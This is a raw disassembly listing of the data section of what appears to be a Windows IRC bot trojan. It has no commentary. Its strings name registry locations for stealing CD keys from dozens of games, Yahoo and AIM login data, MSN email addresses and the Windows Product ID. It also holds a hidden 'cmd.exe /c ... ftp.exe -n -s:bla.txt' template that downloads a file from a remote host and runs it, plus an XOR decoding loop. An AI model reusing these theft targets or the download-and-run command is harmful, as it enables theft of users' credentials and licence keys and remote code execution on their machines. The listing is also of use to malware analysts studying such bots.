align 10h
dd 0
aListen db 'listen',0
align 4
aBind db 'bind',0
align 4
aGetsockname db 'getsockname',0
dd 0
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
align 4
dd 0
aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o
align 4
aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
align 4
aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
align 10h
dd 0
aTimedOutWaitin db 'timed out waiting for connection',0
align 4
dd 0
aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0
align 4
dd 2 dup(0)
aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
align 4
dd 2 dup(0)
aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
align 4
dd 2 dup(0)
aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo
align 8
aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do
align 10h
aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042F4BEo
align 4
aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo
align 10h
aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o
align 4
aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo
align 10h
off_447670 dd offset aSocketOpenFail ; DATA XREF: ___:0042F64Do
; "socket open failed"
aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o
align 8
aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
align 10h
word_4476B0 dw 77h ; DATA XREF: sub_42F6F0+1Fr
align 4
dword_4476B4 dd 25206425h, 64hdword_4476BC dd 455A4953h, 732520h, 0dword_4476C8 dd 4D54444Dh, 732520h, 0dword_4476D4 dd 4F544E52h, 732520h, 0dword_4476E0 dd 52464E52h, 732520h, 0dword_4476EC dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o
align 10h
dword_447700 dd 1 ; sub_431750+1Fw ...
aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
align 10h
dd 0
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o
align 4
aA: ; DATA XREF: sub_434D10+36o
unicode 0, <>,0
dd 12h dup(0)
dd offset aBattlefield194 ; "[Battlefield 1942: "
dd 80000002h, 448854h, 448F30h, 448820h, 80000002h, 4487C0h
dd 448F30h, 448790h, 80000002h, 448738h, 448F30h, 448714h
dd 80000002h, 4486CCh, 448F30h, 4486B4h, 80000002h, 448670h
dd 448F30h, 448648h, 80000002h, 44860Ch, 448F30h, 4485D8h
dd 80000002h, 448578h, 448F30h, 44854Ch, 80000002h, 448528h
dd 448520h, 4484F4h, 80000002h, 4484CCh, 448520h, 4484B4h
dd 80000001h, 448484h, 448480h, 448470h, 80000002h, 448434h
dd 448F30h, 448424h, 80000002h, 4483E8h, 448F30h, 4483D4h
dd 80000002h, 44838Ch, 448F30h, 448370h, 80000002h, 44832Ch
dd 448F30h, 448310h, 80000001h, 4482E8h, 448480h, 4482D8h
dd 80000001h, 4482B0h, 448480h, 448290h, 80000002h, 448254h
dd 448250h, 448234h, 80000002h, 448210h, 448208h, 4481F0h
dd 80000001h, 4481C4h, 4481BCh, 448198h, 80000002h, 44814Ch
dd 448F30h, 448124h, 80000002h, 4480D0h, 448F30h, 448098h
dd 80000002h, 448034h, 448F30h, 448000h, 80000002h, 447FA0h
dd 448F30h, 447F84h, 80000002h, 447F3Ch, 448F30h, 447F20h
dd 80000002h, 447ED8h, 448F30h, 447EC8h, 80000002h, 447E8Ch
dd 448F30h, 447E7Ch, 80000002h, 447E40h, 448F30h, 447E18h
dd 80000002h, 447DC4h, 448F30h, 447D9Ch, 80000002h, 447D4Ch
dd 448F30h, 447D30h, 80000002h, 447D08h, 448480h, 447CF4h
dd 80000002h, 447CBCh, 448F30h, 447C8Ch, 80000002h, 447C34h
dd 448F30h, 447C18h, 80000001h, 447BC8h, 447BC0h, 447BA4h
dd 80000002h, 447B60h, 447B54h, 447B3Ch, 80000001h, 447B0Ch
dd 447B00h, 447AE0h, 80000002h, 447AA4h, 447BC0h, 447A84h
dd 80000002h, 447A48h, 447BC0h, 1Eh dup(0)
aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
align 4
dd 2 dup(0)
aUnrealTourname db '[Unreal Tournament 2004: ',0
align 10h
dd 0
aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
align 10h
aUnrealTourna_0 db '[Unreal Tournament 2003: ',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
dd 2 dup(0)
aTheGladiators db '[The Gladiators: ',0
align 10h
dd 0
aSof2key db 'sof2key',0
align 10h
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
dd 2 dup(0)
aSoldierOfFortu db '[Soldier Of Fortune 2: ',0
align 10h
aCdkey db 'CDKey',0
align 4
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
dd 3 dup(0)
aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0
align 10h
dd 0
aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 10h
dd 3 dup(0)
aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0
align 4
dd 2 dup(0)
aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
align 4
dd 2 dup(0)
dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aNeverwinterNig db '[Neverwinter Nights: ',0
align 4
dd 0
aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 10h
dd 3 dup(0)
aNeedForSpeedUn db '[Need For Speed: Underground: ',0
align 4
dd 2 dup(0)
aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
db 'gc',0
dd 4 dup(0)
aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0
align 10h
aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing20 db '[Nascar Racing 2003: ',0
align 4
dd 0
aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
dd 3 dup(0)
aNascarRacing_0 db '[Nascar Racing 2002: ',0
align 10h
aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 10h
dd 4 dup(0)
aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0
dd 2 dup(0)
aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
dd 4 dup(0)
aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0
align 10h
aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 4
dd 3 dup(0)
aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0
align 4
dd 0
aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
dd 3 dup(0)
aJamesBond007Ni db '[James Bond 007: Nightfire: ',0
align 4
dd 0
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
aIndustryGiant2 db '[Industry Giant 2: ',0
align 8
aCdkey_0 db 'CDkey',0
align 10h
aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0
dd 2 dup(0)
aIgi2CovertStri db '[IGI2: Covert Strike: ',0
align 10h
aKey db 'key',0
aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aHiddenAndDange db '[Hidden and Dangerous 2: ',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 8
aHalfLife db '[Half-Life: ',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aGunmanChronicl db '[Gunman Chronicles: ',0
align 4
dd 0
aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aGlobalOperatio db '[Global Operations: ',0
align 4
dd 0
aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
dd 3 dup(0)
aFreedomForce db '[Freedom Force: ',0
align 4
aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
dd 2 dup(0)
dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aFifa2002 db '[FIFA 2002: ',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0
align 4
dd 2 dup(0)
aCounterStrike db '[Counter-Strike: ',0
align 4
dd 0
aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0
align 4
dd 2 dup(0)
aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0
align 10h
aSerial db 'Serial',0
align 4
aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0
align 4
dd 0
aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0
align 10h
dd 2 dup(0)
aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 4
dd 4 dup(0)
aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0
dd 2 dup(0)
aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
dd 3 dup(0)
aCommandAndCo_2 db '[Command and Conquer: Generals: ',0
align 10h
aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
dd 3 dup(0)
aBlackAndWhite db '[Black and White: ',0
align 4
dd 0
aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
dd 3 dup(0)
aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0
dd 2 dup(0)
aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 10h
aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0
align 10h
aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 10h
dd 4 dup(0)
aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0
dd 2 dup(0)
db 53h
aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
dd 3 dup(0)
aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447780o
align 10h
aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o
align 4
aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o
align 10h
aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
align 4
dd 0
dword_4488EC dd 3A6D6961h, 732520h, 0dword_4488F8 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
; DATA XREF: ___:0043616Co
db '\Login',0
dd 4 dup(0)
aFoundCodCdkeyS db 'Found COD CDKey (%s).',0
align 4
dd 0
aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0
align 8
aSMainS db '%s\main\%s',0
align 8
aCodkey db 'codkey',0
align 10h
aSoftwareActi_0 db 'Software\Activision\Call of Duty',0
align 8
aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0
align 10h
dd 0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
dd 0
dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath db 'InstallPath',0
dd 0
dword_448A2C dd 3A6E736Dh, 732520h, 0dword_448A38 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
; DATA XREF: ___:00436737o
db 'ice',0
align 4
dd 3 dup(0)
aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
align 10h
aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
align 4
dd 2 dup(0)
aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
align 4
dd 2 dup(0)
aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo
align 4
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
; DATA XREF: sub_4369E0+4FEo
align 4
dd 2 dup(0)
aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o
align 8
aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo
align 4
loc_448B64: ; DATA XREF: sub_4369E0+2D3o
dec eax
dec ebx
inc ebx
inc ebx
cmp ah, [eax]
and eax, 73h
loc_448B6F: ; DATA XREF: sub_4369E0+1EBo
add [eax+4Bh], cl
dec esp
dec ebp
cmp ah, [eax]
and eax, 73h
loc_448B7B: ; DATA XREF: sub_4369E0+103o
add [eax+4Bh], cl
inc ebx
push ebp
cmp ah, [eax]
and eax, 73h
loc_448B87: ; DATA XREF: ___:004371A6o
; ___:00437400o ...
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cx, 0FFFFh
loc_448B98: ; CODE XREF: ___:00448B9Dj
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_448B98
; ---------------------------------------------------------------------------
db 0
dd 0
aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
; DATA XREF: ___:0043762Bo
db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
dd 0Ch dup(0)
off_448C90 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o
; ___:0043F354o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dd 1, 9Fh dup(0)
byte_448F30 db 0 ; DATA XREF: sub_403530+95o
; sub_404690+200o ...
align 4
dword_448F34 dd 0 ; sub_4246D0+11o ...
dword_448F38 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4BFr ...
align 10h
dword_448F40 dd 0 ; ___:0040D425w ...
dd 8 dup(0)
dword_448F64 dd 41h dup(0) ; ___:0040D460o ...
dword_449068 dd 0 ; ___:loc_40D4B4r ...
dword_44906C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D42Fr ...
dword_449070 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D660+CAw
dword_449074 dd 0 ; sub_40D660+E3r
dd 11h dup(0)
dword_4490BC dd 0 ; sub_410030+47Dr
dword_4490C0 dd 0 ; sub_410030+515r ...
dword_4490C4 dd 0 ; sub_410030+655r ...
dword_4490C8 dd 0 ; sub_410030+B79r ...
dword_4490CC dd 0 ; sub_410030+74Br
dword_4490D0 dd 0 ; sub_410030+828r
dword_4490D4 dd 0 ; sub_410030+77Cr
dword_4490D8 dd 0 ; sub_410030+4DDr ...
dword_4490DC dd 0 ; sub_410030+311r
dword_4490E0 dd 0 ; sub_410030+34Dr ...
dword_4490E4 dd 0 ; sub_410030+33Dr
dword_4490E8 dd 0 ; sub_410030+3D2r
dword_4490EC dd 0 ; sub_410030+E93r
dword_4490F0 dd 0 ; sub_410030+1220r ...
dword_4490F4 dd 0 ; sub_4120B0+4DAr
dword_4490F8 dd 0 ; sub_410030+683r
dword_4490FC dd 0 ; sub_410030+6B5r
dword_449100 dd 0 ; sub_410030+1252r
dd 5 dup(0)
dword_449118 dd 10h dup(0) ; ___:004040AFo ...
db 2 dup(0)
byte_44915A db 0 ; DATA XREF: sub_409B10r sub_409B80r
align 4
db 3 dup(0)
byte_44915F db 0 ; DATA XREF: sub_40D660+10Fr
db 0
byte_449161 db 0 ; DATA XREF: sub_40DBF0r
word_449162 dw 0 ; DATA XREF: sub_40DBF0+9o
dd 44h dup(0)
db 3 dup(0)
byte_449277 db 0 ; DATA XREF: ___:00412F9Ao
; ___:0041304Fo ...
db 3 dup(0)
byte_44927B db 0 ; DATA XREF: sub_41F960:loc_41F99Dr
align 10h
dword_449280 dd 12h dup(0) ; sub_410030+114o
db 0
byte_4492C9 db 3 dup(0) ; DATA XREF: ___:00408BA3o
; sub_410030+159o ...
dd 11h dup(0)
db 2 dup(0)
word_449312 dw 0 ; DATA XREF: ___:00408B7Ao
; sub_410030+132o
dd 6 dup(0)
word_44932C dw 0 ; DATA XREF: sub_410030+1E1r
align 10h
dd 0Ah dup(0)
db 3 dup(0)
byte_44935B db 0 ; DATA XREF: ___:00408BCCo
; sub_410030+17Co ...
dd 12h dup(0)
dword_4493A4 dd 12h dup(0) ; sub_410030+F7o ...
db 0
byte_4493ED db 3 dup(0) ; DATA XREF: ___:00408B05o
; sub_410030+D0o ...
dd 23h dup(0)
db 3 dup(0)
byte_44947F db 0 ; DATA XREF: ___:00408BF5o
; sub_410030+19Ao
dd 24h dup(0)
db 0
byte_449511 db 3 dup(0) ; DATA XREF: sub_425100+2Bo
; sub_425100+37o ...
dd 11h dup(0)
db 2 dup(0)
word_44955A dw 0 ; DATA XREF: ___:00412F6Ao
; ___:00412F89o ...
dd 3Ch dup(0)
db 3 dup(0)
dword_44964F dd 0 ; sub_41F030+154r ...
align 4
dd 35h dup(0)
db 0
byte_449729 db 0 ; DATA XREF: sub_41BA50+18r
align 4
dd 36h dup(0)
byte_449804 db 0 ; DATA XREF: sub_410030+842r
align 4
dd 0Bh dup(0)
dword_449834 dd 18h dup(0) ; sub_40EE40+97o ...
db 2 dup(0)
byte_449896 db 0 ; DATA XREF: sub_404CC0+258r
; sub_41D930+66Er
align 4
dd 11h dup(0)
db 3 dup(0)
byte_4498DF db 0 ; DATA XREF: sub_404CC0:loc_404F30r
; sub_41D930:loc_41DFB6r
dd 0Bh dup(0)
db 3 dup(0)
byte_44990F db 0 ; DATA XREF: sub_404CC0+279o
; sub_41D930+68Fo ...
dd 12h dup(0)
dword_449958 dd 2Bh dup(0) ; sub_41F030+630o ...
dword_449A04 dd 0 dd 11h dup(0)
db 0
dword_449A4D dd 0 align 4
dd 0D9h dup(0)
byte_449DB8 db 0 ; DATA XREF: sub_41F030+146r
; sub_41F030+5EEr
align 4
dd 3A8h dup(0)
db 2 dup(0)
word_44AC5E dw 0 ; DATA XREF: sub_404690+1BDo
; sub_404B60+31o ...
db 2 dup(0)
word_44AC62 dw 0 ; DATA XREF: sub_404B60+4o
dd 1Ch dup(0)
db 2 dup(0)
word_44ACD6 dw 0 ; DATA XREF: sub_4076B0+36o
; sub_407740+3Eo ...
dd 26h dup(0)
dword_44AD70 dd 86h dup(0) ; sub_404CC0+27Eo ...
db 3 dup(0)
byte_44AF8B db 0 ; DATA XREF: sub_426930+3Bw
; sub_4269A0+7Ew ...
dd 7Fh dup(0)
db 3 dup(0)
dword_44B18B dd 0 ; sub_4269A0+4Fw ...
dword_44B18F dd 0 ; ___:0042419Dw ...
dword_44B193 dd 0 ; sub_4269A0+5Dr ...
dword_44B197 dd 0 ; sub_4269A0+8Cr ...
dword_44B19B dd 0 ; sub_4269A0+9Dr
dword_44B19F dd 0 ; ___:004241D1r ...
byte_44B1A3 db 0 ; DATA XREF: sub_426930+42w
; sub_4269A0+85w
dd 2828h dup(0)
db 3 dup(0)
byte_455247 db 0 ; DATA XREF: ___:off_446EF4o
dd 0EB85h dup(0)
dword_49005C dd 0BD23h dup(0) db 0
byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o
dd 53D8h dup(0)
db 0
byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44530Co
dd 0BFFh dup(0)
db 2 dup(0)
word_4D744E dw 0 ; DATA XREF: sub_58F5B5+75AEo
; sub_58F5B5+75BFo
dd 2CEh dup(0)
db 3 dup(0)
dword_4D7F8B dd 0 ; sub_426BD0+13o
align 10h
dd 39h dup(0)
db 0
byte_4D8075 db 3 dup(0) ; DATA XREF: sub_404C70+1Eo
; sub_404CC0+65o ...
dd 5 dup(0)
byte_4D808C db 0 ; DATA XREF: sub_404CC0+292w
; sub_404CC0+4EBw
dword_4D808D dd 0 ; sub_422B40:loc_4232C4r ...
align 4
dd 0
db 0
dword_4D8099 dd 0 ; sub_404C70+2Aw
byte_4D809D db 3 dup(0) ; DATA XREF: ___:00412FC4o
; ___:00412FE7o
dd 9 dup(0)
db 3 dup(0)
dword_4D80C7 dd 0 ; sub_428DC0:loc_428EB7r
align 4
dd 2Fh dup(0)
db 3 dup(0)
byte_4D818B db 0 ; DATA XREF: sub_426B60+16o
; sub_426B90+19o
db 3 dup(0)
byte_4D818F db 0 ; DATA XREF: sub_426A90+4Co
dd 6Fh dup(0)
db 3 dup(0)
byte_4D834F db 0 ; DATA XREF: ___:00408291o
; ___:00408722o ...
dd 8 dup(0)
dword_4D8370 dd 0 dd 51h dup(0)
db 0
byte_4D84B9 db 0 ; DATA XREF: sub_427B10:loc_427BC0r
; sub_427FD0:loc_428085r ...
align 4
dd 9Eh dup(0)
db 0
dword_4D8735 dd 0 ; sub_427FD0+7Dw ...
align 4
dd 1EDAh dup(0)
db 0
byte_4E02A5 db 3 dup(0) ; DATA XREF: ___:00419F93o
; sub_41A050+13o
dd 1EB9h dup(0)
db 3 dup(0)
byte_4E7D8F db 0 ; DATA XREF: sub_427D50+1Do
dd 21h dup(0)
db 0
byte_4E7E15 db 3 dup(0) ; DATA XREF: ___:00419FA3o
dd 235h dup(0)
db 3 dup(0)
byte_4E86EF db 0 ; DATA XREF: sub_427D50+2Fo
dd 1D5h dup(0)
byte_4E8E44 db 0 ; DATA XREF: sub_404CC0+299w
; sub_410030:loc_410072r ...
byte_4E8E45 db 3 dup(0) ; DATA XREF: sub_404CC0+235o
; sub_404CC0+874o ...
dd 4 dup(0)
db 2 dup(0)
word_4E8E5A dw 0 ; DATA XREF: sub_404CC0+2D4o
; ___:00408736o ...
dd 0Fh dup(0)
db 0
byte_4E8E99 db 0 ; DATA XREF: sub_41F960+31w
; sub_41F960+47w ...
db 0
byte_4E8E9B db 0 ; DATA XREF: sub_418590+21o
; sub_41D930+341o ...
dd 6D2Eh dup(0)
dword_504354 dd 12B6h dup(0) dword_508E2C dd 1000h dup(0) ; ___:00419B9Do ...
dword_50CE2C dd 333h dup(0) ; ___:00419BB8o ...
dword_50DAF8 dd 0 ; sub_41A110+1Br ...
dd 3 dup(0)
dword_50DB08 dd 0 ; ___:0041FC3Dw ...
dword_50DB0C dd 0 ; sub_41FB90+2Aw ...
dword_50DB10 dd 0 dword_50DB14 dd 0 ; ___:0041FC5Bw
dword_50DB18 dd 0 dword_50DB1C dd 0 ; ___:0041FC67w ...
dword_50DB20 dd 0 ; ___:0041FC6Dw ...
dword_50DB24 dd 0 ; ___:00420EA9o
dword_50DB28 dd 0 ; sub_41FB90:loc_41FBB4r ...
dword_50DB2C dd 0 ; ___:0041FC81w
dword_50DB30 dd 0 ; sub_420630+41w ...
dword_50DB34 dd 0 ; sub_420630+7Fr
dword_50DB38 dd 0 ; sub_420630+92r ...
dword_50DB3C dd 0 ; sub_420630+148r
dd 3 dup(0)
dword_50DB4C dd 0 ; ___:0041C2A5o
dword_50DB50 dd 0 ; sub_423820+5r ...
dword_50DB54 dd 0 ; ___:00423FABr ...
dd 7CEh dup(0)
dword_50FA90 dd 6 dup(0) ; ___:00423EAFo ...
dword_50FAA8 dd 196h dup(0) ; sub_423760+6Do
dword_510100 dd 0 word_510104 dw 0 ; DATA XREF: sub_424F70+A9r
align 4
word_510108 dw 0 ; DATA XREF: sub_4253C0+45r
; sub_4257F0+DAr
align 4
dword_51010C dd 0 dd 0
byte_510114 db 0 ; DATA XREF: sub_4267D0:loc_426830r
; sub_4267D0+97w
align 4
dword_510118 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427B10+D9r
dword_51011C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427B10+45r
dword_510120 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427B10+54r ...
align 8
dword_510128 dd 80h dup(0) ; sub_427D50+129o
dword_510328 dd 0 dword_51032C dd 0 dd 1Dh dup(0)
dword_5103A4 dd 0 ; ___:0042C40Dr ...
dword_5103A8 dd 0 ; sub_42DE00:loc_42DE96r ...
dword_5103AC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ...
dword_5103B0 dd 0 dword_5103B4 dd 0 ; sub_431560r ...
dword_5103B8 dd 0 dword_5103BC dd 0 ; sub_4309A0+111w ...
dword_5103C0 dd 0 ; sub_4309A0+F6r ...
dword_5103C4 dd 0 ; ___:loc_4316A0r
dword_5103C8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ...
dd 2 dup(0)
dd 0
dd 13Ah dup(0)
dword_5108C0 dd 10h dup(0) ; sub_431470:loc_4314A0o ...
dword_510900 dd 8 dup(0) ; sub_430830+25o ...
dword_510920 dd 8 dup(0) ; sub_431980+25o ...
dword_510940 dd 8 dup(0) ; sub_432850+84o ...
dword_510960 dd 8 dup(0) ; sub_432850+8Bo ...
dword_510980 dd 9 dup(0) ; sub_4309A0:loc_430AB7o ...
dd 0FFFFFFFFh, 3 dup(0)
dd 0FFFFFFFFh
dd 192h dup(0)
dd 5 dup(1AA6794Dh), 5 dup(65E48F8Fh), 5 dup(62BB46C0h)
dd 5 dup(367B0C75h), 5 dup(66DFA7DFh), 5 dup(631E0D7Bh)
dd 5 dup(24DCE02Ah), 5 dup(1833ACDBh), 5 dup(6708C228h)
dd 5 dup(567B75C4h), 5 dup(69387376h), 1Eh dup(0)
dd 631E0D7Bh, 10h dup(0)
aVs8i db 'vs8i',0
align 10h
dd 58h dup(0)
dd 367B0C75h, 1Ch dup(0)
dd 6708C228h, 14h dup(0)
dd 65E48F8Fh, 52h dup(0)
dd 1AA6794Dh, 1Bh dup(0)
dd 567B75C4h, 0Bh dup(0)
dd 24DCE02Ah, 0Ch dup(0)
dd 66DFA7DFh, 2Bh dup(0)
dd 1833ACDBh, 11h dup(0)
dd 62BB46C0h, 0Ah dup(0)
dd 28D03D8h, 28E0000h, 28F0000h
dword_511718 dd 28F134Ch dd 28F14ACh
dword_511720 dd 28F17DAh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 1Ah, 8Fh, 2
dd 2900000h
dword_51172C dd 2910000h dd 2920000h, 29202B8h, 292062Fh, 2920AA7h
dword_511740 dd 2930000h ; sub_40E870+25Ar ...
dword_511744 dd 2930545h dword_511748 dd 293078Eh dd 2930926h, 2930C4Ch
dword_511754 dd 2940000h ; sub_40EE40+15Er ...
dd 2940261h
dword_51175C dd 2950000h ; sub_40E870+22Cr
dd 2960000h
dword_511764 dd 296029Eh ; sub_4208E0+285r ...
dd 2970000h
dword_51176C dd 2971201h ; sub_40E870+24Cr
dd 10h dup(0)
dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0 dd 2710000h ; sub_420630+FEr
dd 2720000h, 2730000h, 2730720h, 2730994h, 2730CADh, 2730EACh
dd 2740000h, 2740763h, 2740BAAh, 2750000h, 275020Ah, 27508C5h
dd 27508F4h, 2760000h, 27603DDh, 2760715h, 2760A57h, 2760C28h
dd 2760F67h, 2770000h, 27705EAh, 27706C8h, 2770982h, 2770B7Fh
dd 2770D73h, 2780000h, 27802D5h, 2780469h, 2780570h, 278076Dh
dd 278081Eh, 2790000h
dword_511864 dd 27906F2h dword_511868 dd 2790E47h dword_51186C dd 27A0000h dd 7C901005h, 7C9010EDh, 27A0187h, 27A01BFh, 27A01DCh
dd 27A02ABh, 27A0A61h, 27B0000h, 27B03C5h, 27C0000h, 27D0000h
dd 27D0990h, 27E0000h, 27F0000h, 27F088Ah
dword_5118AC dd 27F0C4Bh ; sub_410030+47r ...
dd 27F0D56h, 2800000h, 2800565h, 2810000h, 2820000h, 2830000h
dd 2840000h
dword_5118CC dd 2841680h dd 2841874h, 2850000h
dword_5118D8 dd 2850369h ; sub_41B5B0+2Fr ...
dd 2850505h
dword_5118E0 dd 2850BF4h ; sub_4204D0+2Er ...
dd 2860000h, 2870000h, 2870C69h
dword_5118F0 dd 2880000h dd 288033Bh, 2890000h, 28A0000h, 28A1273h, 28A1CCEh, 28B0000h
dd 28B0717h, 28B0DC4h
dd 28C0000h
